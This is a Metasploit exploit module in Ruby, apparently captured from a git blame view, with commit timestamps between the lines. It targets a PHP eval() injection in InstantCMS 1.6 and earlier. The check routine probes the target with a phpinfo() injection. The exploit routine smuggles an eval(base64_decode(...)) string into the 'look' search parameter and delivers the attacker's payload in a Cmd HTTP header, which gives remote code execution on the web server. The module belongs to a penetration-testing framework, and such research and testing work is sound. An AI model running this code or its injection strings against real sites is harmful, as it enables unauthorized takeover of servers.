metasploit-framework/modules/exploits/unix/webapp/instantcms_exec.rb

81 lines
2.1 KiB
Ruby
Raw Normal View History

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
2013-07-03 16:37:57 +00:00
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP command execution vulnerability because of a
dangerous use of eval() in InstantCMS in versions 1.6 and prior.
},
'Author' =>
[
'AkaStep', # Vulnerability discovery and PoC
'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '60816' ],
[ 'URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html' ]
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'InstantCMS 1.6', { } ],
],
'DisclosureDate' => 'Jun 26 2013',
'DefaultTarget' => 0))
2013-07-03 16:37:57 +00:00
2013-08-30 21:28:54 +00:00
register_options(
[
OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
], self.class)
end
2013-08-30 21:28:54 +00:00
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s),
'vars_get' =>
{
'view' => 'search',
'query' => '${echo phpinfo()}'
}
})
if res and res.body.match(/Build Date/)
return Exploit::CheckCode::Vulnerable
2013-08-30 21:28:54 +00:00
end
Exploit::CheckCode::Safe
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def exploit
2013-08-30 21:28:54 +00:00
print_status("Executing payload...")
2013-08-30 21:28:54 +00:00
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s),
'vars_get' =>
{
'view' => 'search',
'query' => rand_text_alpha(3 + rand(3)),
'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
},
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})
2013-08-30 21:28:54 +00:00
end
end